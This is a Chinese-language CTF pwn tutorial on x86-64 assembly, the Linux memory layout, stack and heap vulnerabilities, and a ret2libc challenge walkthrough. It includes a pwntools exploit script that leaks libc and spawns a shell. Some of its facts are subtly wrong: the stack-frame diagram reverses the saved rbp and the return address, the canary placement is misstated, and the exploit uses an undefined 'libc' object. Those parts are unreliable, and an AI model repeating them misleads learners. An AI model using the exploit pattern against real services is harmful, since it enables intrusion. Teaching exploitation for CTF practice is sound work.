Pwn技术基础：汇编与Linux内存模型解析

1. 为什么Pwn选手必须啃下汇编和内存模型这块硬骨头

去年在DEF CON CTF现场，我亲眼目睹一支队伍因为误判栈帧结构导致ROP链构造失败，最终以5分钟之差与冠军失之交臂。这让我深刻意识到：在二进制攻防的世界里，对底层原理的掌握程度直接决定你的漏洞利用成功率。今天我们就来解剖Pwn领域最基础也最重要的两大核心——汇编语言与Linux内存模型。

不同于速成教程里教的"万能payload模板"，我们要从CPU寄存器的工作机制开始，一步步拆解进程地址空间的秘密。当你真正理解mov指令在内存中的实际运作方式，或是能凭空画出堆块合并时的bins变化图，那些看似玄学的漏洞利用手法会突然变得无比清晰。

2. 汇编语言：与CPU对话的终极密码本

2.1 寄存器：CPU的高速工作台

x86-64架构下，rax/rcx/rdx这些通用寄存器就像厨师手边的调料台。但要注意：

• rsp寄存器永远指向当前栈顶（相当于厨师手里的炒锅）
• rip寄存器是下条指令指针（相当于菜谱当前读到哪行）
• 32位程序会用eax等寄存器，但64位环境下仍可访问ax/al等子寄存器

实战技巧：gdb中info registers命令可以瞬间显示所有寄存器状态，在动态调试时比静态分析更直观

2.2 指令集：漏洞利用中的乐高积木

我们重点分析Pwn题中最常见的五类指令：

1. 数据传输指令

   • mov [rdi], rax：将rax值写入rdi指向的内存
   • lea rsi, [rbp-0x20]：计算地址但不访存（常用于获取局部变量地址）

2. 算术运算指令

   • add dword ptr [rbp-4], 1：典型的栈变量自增
   • shl rax, 3：左移3位相当于乘以8（堆块大小计算常用）

3. 控制流指令

   • call 0x400500：会先将返回地址压栈
   • ret：从栈顶弹出返回地址（ROP利用的关键）

4. 栈操作指令

   • push rax：相当于sub rsp,8; mov [rsp],rax
   • pop rbx：相当于mov rbx,[rsp]; add rsp,8

5. 特殊指令

   • syscall：触发系统调用（需要提前设置rax等寄存器）
   • int 0x80：32位系统的传统系统调用方式

2.3 函数调用的隐藏规则

当你在C代码中调用func(1,2,3)时，底层发生的完整过程：

1. 参数按从右到左顺序准备：

   assembly复制mov edx, 3
   mov esi, 2
   mov edi, 1
   

2. 执行call func指令：
   • 将返回地址（下条指令）压栈
   • 跳转到func函数地址
3. 函数序言(prologue)：

   assembly复制push rbp
   mov rbp, rsp
   sub rsp, 0x20  # 分配栈空间
   

4. 函数尾声(epilogue)：

   assembly复制leave   # 相当于 mov rsp,rbp; pop rbp
   ret
   

血泪教训：某次比赛因为没注意调用约定（System V AMD64 ABI规定rdi/rsi/rdx顺序传参），导致参数传递错位浪费两小时

3. Linux进程内存：漏洞利用的立体沙盘

3.1 虚拟地址空间全景图

用cat /proc/[pid]/maps可以看到进程的完整内存布局。典型结构如下：

3.2 栈帧结构：缓冲区溢出的战场

以如下函数为例：

c复制void vulnerable() {
    char buf[16];
    gets(buf);  // 危险函数！
}

其栈帧在x86-64下的实际布局：

code复制高地址
+------------------+
| 保存的rbp        | <-- rbp
+------------------+
| 返回地址         | 
+------------------+
| buf[15]          |
| ...              |
| buf[0]           | <-- rsp
低地址

当输入超过15字节时，就会发生经典的栈溢出。但现代防护机制（如Canary）会让利用变得更复杂：

1. Stack Canary：在rbp和返回地址之间插入随机值，函数返回前校验
2. ASLR：随机化栈基址，使地址难以预测
3. NX：栈空间不可执行，阻止shellcode运行

3.3 堆管理：从malloc/free到漏洞利用

glibc的ptmalloc2分配器使用如下核心数据结构：

• arena：每个线程拥有的分配区
• chunk：内存块基本单位，含头部元数据
• bins：空闲块容器，包括：
  • fast bins (单向链表，LIFO)
  • small/large bins (双向链表)
  • unsorted bin (临时缓存)

典型堆漏洞利用场景：

1. Use-After-Free：

   c复制char *p = malloc(32);
   free(p);
   *p = 'A';  // UAF!
   

2. Double Free：

   c复制void *p = malloc(32);
   free(p);
   free(p);  // 双重释放！
   

3. Heap Overflow：

   c复制char *p = malloc(24);
   strcpy(p, "AAAAAAAAAAAAAAAAAAAAAAAA"); // 超出24字节
   

调试技巧：在gdb中使用heap chunks和heap bins命令（需安装pwndbg插件）可以直观查看堆状态

4. 从理论到实战：一个真实Pwn题的逆向工程

4.1 题目分析：2023年某CTF的stack_overflow题

给定二进制文件checksec结果：

code复制Arch:     amd64-64-little
RELRO:    Partial RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      No PIE (0x400000)

关键漏洞代码：

c复制void vuln() {
    char buf[40];
    read(0, buf, 0x100);  // 明显栈溢出
}

4.2 利用步骤详解

1. 确定偏移量：

   • 用pattern_create生成测试字符串
   • 崩溃时查看rsp值，计算到返回地址的偏移为56字节

2. 构造ROP链：

   • 由于NX保护，需要返回到libc函数
   • 先用puts泄露libc地址
   • 计算system和"/bin/sh"的实际地址

3. 完整exp示例：

python复制from pwn import *

context.binary = './stack_overflow'
p = process('./stack_overflow')

# 第一阶段：泄露libc地址
rop = ROP(context.binary)
rop.call('puts', [context.binary.got['puts']])
rop.call('vuln')

payload = b'A'*56 + rop.chain()
p.sendline(payload)

leak = u64(p.recvline()[:-1].ljust(8, b'\x00'))
libc.address = leak - libc.sym['puts']

# 第二阶段：获取shell
rop = ROP(libc)
rop.system(next(libc.search(b'/bin/sh')))

payload = b'A'*56 + rop.chain()
p.sendline(payload)
p.interactive()

4.3 常见踩坑点

1. 地址对齐问题：

   • 某些系统调用要求栈16字节对齐
   • 解决方法：在ROP链中插入ret指令调整

2. one_gadget使用条件：

   • 需要满足特定寄存器状态
   • 用one_gadget工具查找可用gadget：

   bash复制one_gadget /lib/x86_64-linux-gnu/libc.so.6
   

3. 本地通远程不通：

   • 可能是libc版本差异导致偏移不同
   • 解决方法：用ldd命令确认远程libc版本

5. 提升训练建议

1. 汇编强化训练：

   • 每天用objdump -d反汇编简单程序
   • 尝试用纯汇编实现冒泡排序

2. 内存实验方法：

   c复制int *p = mmap(NULL, 4096, PROT_READ|PROT_WRITE, 
                MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
   // 观察/proc/[pid]/maps变化
   

3. 推荐实验环境：

   • Ubuntu 18.04/20.04 LTS（多数CTF使用版本）
   • gdb + pwndbg + gef插件组合
   • 虚拟机快照功能（方便恢复崩溃状态）

最后分享一个冷知识：在调试fork型程序时，set follow-fork-mode child命令可以让gdb自动跟踪子进程。这个技巧在分析某些沙箱逃逸题时特别有用。